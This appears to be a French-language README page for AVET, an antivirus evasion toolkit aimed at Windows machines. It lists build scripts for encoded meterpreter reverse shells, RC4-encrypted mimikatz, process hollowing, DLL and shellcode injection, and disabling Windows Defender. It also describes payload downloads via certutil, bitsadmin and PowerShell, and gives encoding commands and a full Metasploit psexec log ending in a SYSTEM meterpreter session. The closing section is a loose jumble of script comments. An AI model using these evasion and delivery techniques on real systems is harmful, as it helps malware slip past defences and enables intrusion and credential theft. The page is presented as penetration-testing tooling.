Outil d'évasion antivirus

AVET n'est plus développé en raison de l'évolution technique et des contraintes de temps.

AVET est un outil d'évasion antivirus, développé pour faciliter la vie des testeurs d'intrusion et pour expérimenter les techniques d'évasion antivirus, ainsi que d'autres méthodes utilisées par les logiciels malveillants. Pour un aperçu des nouvelles fonctionnalités de la v2.4, ainsi que des versions précédentes, consultez le fichier CHANGELOG.

Table des matières

Installation
Docker
AVET la manière simple
AVET la manière normale
Documentation (cliquez pour développer)
Plus

Quelques fonctionnalités

lorsque vous exécutez un fichier .exe créé avec msfpayload & co, le fichier sera souvent reconnu par un logiciel antivirus
AVET est un outil d'évasion antivirus ciblant les machines Windows avec des fichiers exécutables
différents types de charges utiles d'entrée peuvent désormais être utilisés : shellcode, exe et dlls
plus de techniques disponibles : injection de shellcode/dll, process hollowing et plus encore
méthodes de récupération flexibles pour la charge utile, la clé de déchiffrement, etc.
utilisation comme dropper
L'enchaînement de plusieurs itérations d'AVET vous permet d'ajouter plusieurs couches d'évasion, si nécessaire
combinaison de techniques : téléchargez votre charge utile chiffrée via PowerShell, tout en fournissant la clé de déchiffrement via un argument de ligne de commande au moment de l'exécution, et enfin injectez votre charge utile dans un autre processus, en choisissant parmi plusieurs techniques
vérifications de base du sandbox
génération d'exemples adverses contre les détecteurs statiques basés sur l'apprentissage automatique
exécutez tous les scripts de build disponibles avec build_script_tester.py, cela pourrait également intéresser les chercheurs pour construire un ensemble d'échantillons « malveillants » utilisant différentes techniques d'évasion et d'injection

Note importante

Toutes les techniques ne contourneront pas tous les moteurs antivirus. Si une technique ou un script de build ne fonctionne pas, veuillez en tester une autre. N'hésitez pas à expérimenter ! Après tout, c'est une boîte à outils - mais vous devez manier le marteau vous-même.

Installation

Les instructions d'installation s'appliquent pour Kali 64 bits et tdm-gcc !

Vous pouvez utiliser le script de configuration :```bash ./setup.sh

Cela devrait automatiquement vous permettre de démarrer en installant/configurant wine et en installant tdm-gcc.
Vous devrez rapidement cliquer à travers l'interface graphique d'installation de tdm-gcc - les paramètres standard devraient convenir.
Le script vous demandera également si vous souhaitez installer les dépendances d'AVET, qui sont nécessaires pour utiliser certains des scripts de compilation. Les dépendances récupérées seront placées dans des dossiers séparés à côté du dossier avet.


Les dépendances récupéreront les dernières versions de :
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [mimikatz](https://github.com/gentilkiwi/mimikatz)
- [DKMC](https://github.com/Mr-Un1k0d3r/DKMC)


Si pour une raison quelconque vous souhaitez installer wine et tdm-gcc manuellement :
- [Comment installer tdm-gcc avec wine](https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/)

## Docker

Si vous n'utilisez pas Kali ou ne souhaitez pas installer Metasploit sur votre système, vous pouvez utiliser le conteneur Docker à la place.
Le conteneur encapsule Metasploit et avet et les échantillons seront créés dans votre répertoire actuel.
Il est également possible d'utiliser un éditeur de texte graphique comme gedit.

Construction du conteneur :```bash
sudo docker build -t avet:v0.1 .

Utilisation :```bash sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet:v0.1 /bin/bash

Pour une meilleure expérience, il est recommandé de créer un alias pour cela.```bash
# In your .bash_profile, .bashrc or .bash_aliases

alias avet='sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet /bin/bash'

AVET en toute simplicité

avet.py est un petit utilitaire Python conçu pour vous aider à utiliser l'outil.

Il liste tous les scripts actuellement présents dans le dossier build. Après en avoir sélectionné un, vous pourrez parcourir le script ligne par ligne, avec la possibilité de modifier le contenu à la volée.

Cette fonctionnalité est particulièrement utile car vous pouvez définir de nouvelles variables LHOST et LPORT pour msfvenom à chaque fois que vous exécutez un script de build via fabric. Vous pouvez définir des valeurs par défaut pour LHOST et LPORT dans le fichier /build/global_connect_config.sh, qui sont utilisées si vous ne les redéfinissez pas.

Ces modifications sont temporaires, ce qui signifie que tout changement que vous apportez ne persistera pas dans le script de build sur le disque. La version modifiée est exécutée une fois, et votre exécutable est construit.

Voici un exemple rapide (Cliquez pour développer) :

``` python3 avet.py

                   .|        ,       +
         *         | |      ((             *
                   |'|       `    ._____
     +     ___    |  |   *        |.   |' .---"|
   _    .-'   '-. |  |     .--'|  ||   | _|    |
.-'|  _.|  |    ||   '-__  |   |  |    ||      |
|' | |.    |    ||       | |   |  |    ||      |

| '-' ' "" '-' '-.' '` |_ jgs~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Welcome to the avet Assistant!

0 : build_40xshikata_revhttpsunstaged_win32.sh 1 : build_50xshikata_quiet_revhttps_win32.sh 2 : build_50xshikata_revhttps_win32.sh 3 : build_asciimsf_fromcmd_revhttps_win32.sh 4 : build_asciimsf_revhttps_win32.sh 5 : build_avetenc_dynamicfromfile_revhttps_win32.sh 6 : build_avetenc_fopen_revhttps_win32.sh 7 : build_avetenc_mtrprtrxor_revhttps_win64.sh 8 : build_calcfromcmd_50xshikata_revhttps_win32.sh 9 : build_calcfrompowersh_50xshikata_revhttps_win32.sh 10 : build_checkdomain_rc4_mimikatz.sh 11 : build_cpucores_revhttps_win32.sh 12 : build_disablewindefpsh_xorfromcmd_revhttps_win64.sh 13 : build_dkmc_downloadexecshc_revhttps_win32.sh 14 : build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh 15 : build_downloadbitsadmin_revhttps_win32.sh 16 : build_downloadcertutil_revhttps_win32.sh 17 : build_downloadcurl_mtrprtrxor_revhttps_win64.sh 18 : build_downloadiexplorer_revhttps_win32.sh 19 : build_downloadpsh_revhttps_win32.sh 20 : build_downloadsocket_mtrprtrxor_revhttps_win64.sh 21 : build_downloadsocket_revhttps_win32.sh 22 : build_dynamicfromfile_revhttps_win32.sh 23 : build_fibonacci_rc4_mimikatz.sh 24 : build_fopen_mtrprtrxor_revhttps_win64.sh 25 : build_fopen_quiet_revhttps_win32.sh 26 : build_fopen_revhttps_win32.sh 27 : build_getchar_rc4_mimikatz.sh 28 : build_gethostbyname_revhttps_win32.sh 29 : build_hasvmkey_revhttps_win32.sh 30 : build_hasvmmac_revtcp_win32.sh 31 : build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh 32 : build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh 33 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh 34 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh 35 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh 36 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh 37 : build_kaspersky_fopen_shellrevtcp_win32.sh 38 : build_mimikatz_pe2shc_xorfromcmd_win64.sh 39 : build_pause_rc4_mimikatz.sh 40 : build_rc4_interactive_pwsh_mimikatz_win64.sh 41 : build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh 42 : build_rc4enc_mimikatz_win64.sh 43 : build_sleep_rc4_mimikatz.sh 44 : build_sleepbyping_rc4_mimikatz.sh 45 : build_timedfibonacci_rc4_mimikatz.sh 46 : buildsvc_20xshikata_bindtcp_win32.sh

#### static_from_here Les données sont compilées statiquement dans l'exécutable généré, récupérées à partir de l'argument spécifié dans le script de build. #### dynamic_from_file Les données sont lues à partir d'un fichier au moment de l'exécution. #### from_command_line_hex Récupère les données à partir d'une chaîne hexadécimale au format "11aabb22.." (depuis la ligne de commande). #### from_command_line_raw Récupère les données à partir d'un argument de ligne de commande. La chaîne ASCII donnée est interprétée comme des données brutes en octets. #### download_certutil Télécharge les données depuis une URI spécifiée, en utilisant ```certutil.exe -urlcache -split -f```. Dépose le fichier téléchargé sur le disque avant de lire les données. #### download_curl Télécharge les données en utilisant curl. Dépose le fichier téléchargé sur le disque avant de lire les données. #### download_internet_explorer Télécharge les données depuis une URL spécifiée, en utilisant Internet Explorer. Dépose le fichier téléchargé sur le disque avant de lire les données. #### download_powershell Télécharge les données depuis une URI spécifiée via powershell. Dépose le fichier téléchargé sur le disque avant de lire les données. #### download_socket Télécharge les données depuis une URI spécifiée, en utilisant des sockets. Les données sont lues directement en mémoire, aucun fichier n'est déposé sur le disque. #### download_bitsadmin Télécharge les données en utilisant l'utilitaire Windows BITSAdmin. Dépose le fichier téléchargé sur le disque avant de lire les données. ### Méthodes d'exécution de la charge utile Comment exécuter/délivrer la charge utile. Les méthodes d'injection/hollowing nécessitent des informations supplémentaires sur la cible d'injection, qui peuvent être fournies via ```set_payload_info_source <the_info>``` (voir les méthodes de récupération de données). #### exec_shellcode Exécute un shellcode 32 bits avec une liaison de fonction C. #### exec_shellcode64 Exécute un shellcode 64 bits avec une liaison de fonction C et VirtualProtect. #### exec_shellcode_ASCIIMSF Exécute un shellcode encodé ASCIIMSF via ```call eax```. #### hollowing32 Instancie un nouveau processus, découpe l'image d'origine et creuse la charge utile donnée dans le nouveau processus. La charge utile est une image exécutable 32 bits. Fonctionne sur des cibles 32 bits. #### hollowing64 Identique à hollowing32, mais avec des charges utiles PE 64 bits pour des processus cibles 64 bits. #### inject_dll Injecte une DLL dans un processus cible, en utilisant ```CreateRemoteThread```. L'injection fonctionne pour les charges utiles 32 bits dans les processus 32 bits, et pour les charges utiles 64 bits dans les processus 64 bits, respectivement. #### inject_shellcode Injecte un shellcode dans un processus cible, en utilisant ```CreateRemoteThread```. L'injection fonctionne pour les shellcodes 32 bits dans les processus 32 bits, et pour les shellcodes 64 bits dans les processus 64 bits, respectivement. ### Chiffrement et encodage AVET fournit des encodeurs pour chaque schéma, qui peuvent être appliqués sur la charge utile avant compilation/livraison. Lors de l'exécution, le décodeur spécifié désobfusque à nouveau la charge utile à l'exécution. Voici un exemple RC4, où la clé de déchiffrement est récupérée depuis la ligne de commande au format hexadécimal au moment de l'exécution :``` generate_key preset aabbccddee input/key_raw.txt encode_payload rc4 input/shellcode_raw.txt input/shellcode_enc_raw.txt input/key_raw.txt set_key_source from_command_line_hex set_decoder rc4

Et du côté de Metasploit :``` msf exploit(psexec) > use exploit/windows/smb/psexec msf exploit(psexec) > set EXE::custom /root/tools/ave/pwn.exe EXE::custom => /root/tools/ave/pwn.exe msf exploit(psexec) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(psexec) > set rhost 192.168.116.183 rhost => 192.168.116.183 msf exploit(psexec) > set smbuser dax smbuser => dax msf exploit(psexec) > set smbpass test123 smbpass => test123 msf exploit(psexec) > set lport 8443 lport => 8443 msf exploit(psexec) > run [*] 192.168.116.183:445 - Connecting to the server... [*] Started bind handler [*] 192.168.116.183:445 - Authenticating to 192.168.116.183:445 as user 'dax'... [*] Sending stage (957487 bytes) to 192.168.116.183 [*] 192.168.116.183:445 - Selecting native target [*] 192.168.116.183:445 - Uploading payload... [*] 192.168.116.183:445 - Using custom payload /root/tools/avepoc/a.exe, RHOST and RPORT settings will be ignored! [*] 192.168.116.183:445 - Created \mzrCIOVg.exe... [+] 192.168.116.183:445 - Service started successfully... [*] 192.168.116.183:445 - Deleting \mzrCIOVg.exe... [-] 192.168.116.183:445 - Delete of \mzrCIOVg.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0) [*] Exploit completed, but no session was created. msf exploit(psexec) > [*] Meterpreter session 4 opened (192.168.116.142:33453 -> 192.168.116.183:8443) at 2017-05-27 18:47:23 +0200 msf exploit(psexec) > sessions Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 4 meterpreter x86/windows NT-AUTORIT_T\SYSTEM @ DAX-RYMZ48Z3EYO 192.168.116.142:33453 -> 192.168.116.183:8443 (192.168.116.183) msf exploit(psexec) > sessions -i 4 [*] Starting interaction with 4... meterpreter > sysinfo Computer : DAX-RYMZ48Z3EYO OS : Windows XP (Build 2600, Service Pack 3). Architecture : x86 System Language : de_DE Domain : ARBEITSGRUPPE Logged On Users : 2 Meterpreter : x86/windows

Populaires

avet

Outil d'évasion antivirus

AVET n'est plus développé en raison de l'évolution technique et des contraintes de temps.

Table des matières

Quelques fonctionnalités

Note importante

Installation

AVET en toute simplicité

RC4-encrypt the payload with a static, preset key.

Here, the mimikatz executable is used as payload, converted into shellcode format by pe_to_shellcode.

pe_to_shellcode is written by Hasherezade:

https://github.com/hasherezade/pe_to_shellcode

This script expects the Mimikatz executable to be at input/mimikatz.exe

and the pe_to_shellcode executable to reside in a folder parallel to avet: ../pe_to_shellcode/pe2shc.exe

enable debug output

generate key file with preset key

The decryption key is aabbccddee if it has not been changed.

You need to provide the decryption key as 2nd command line argument.

Call generated executable on target like:

$ rc4enc_mimikatz_win64.exe [your mimikatz arguments, probably 'coffee'] [decryption key]

Exemples d'utilisation

Scripts de construction

Documentation

Méthodes de récupération des données

Compiles the command 'calc.exe' statically into the executable, which will then be executed via cmd at sample startup.

Download 64-bit shellcode via powershell, and execute.

Download XOR decryption key into memory. (Server to download from is always specified via first command line argument on execution). Decode the payload.

Retrieves the tuple (target PID, dll path) from command line on execution

static_from_file

sleep

sleep for 3 seconds

check fast forwarding

Username

getchar

fopen

gethostbyname

has_vm_mac

hide_console

Nombre de processus

Domaine

Stops computation after 20 seconds

Outils d'aide

data_raw_to_c

generate_key

sh_format

AVET & metasploit psexec

Designed for use with msf psexec module!

print AVET logo

include script containing the compiler var $win32_compiler

you can edit the compiler in build/global_win32.sh

or enter $win32_compiler="mycompiler" here

import global default lhost and lport values from build/global_connect_config.sh

override connect-back settings here, if necessary

make meterpreter bind payload, encoded 20 rounds with shikata_ga_nai

import feature construction interface

add evasion techniques

generate key file

encode shellcode

array name buf is expected by static_from_file retrieval method

no command preexec

set shellcode source

convert generated key from raw to C into array "key"

set key source

set payload info source

set decoder

set shellcode binding technique

enable debug printing

compile as service

cleanup

Exemples adversariaux

Manipulations pratiques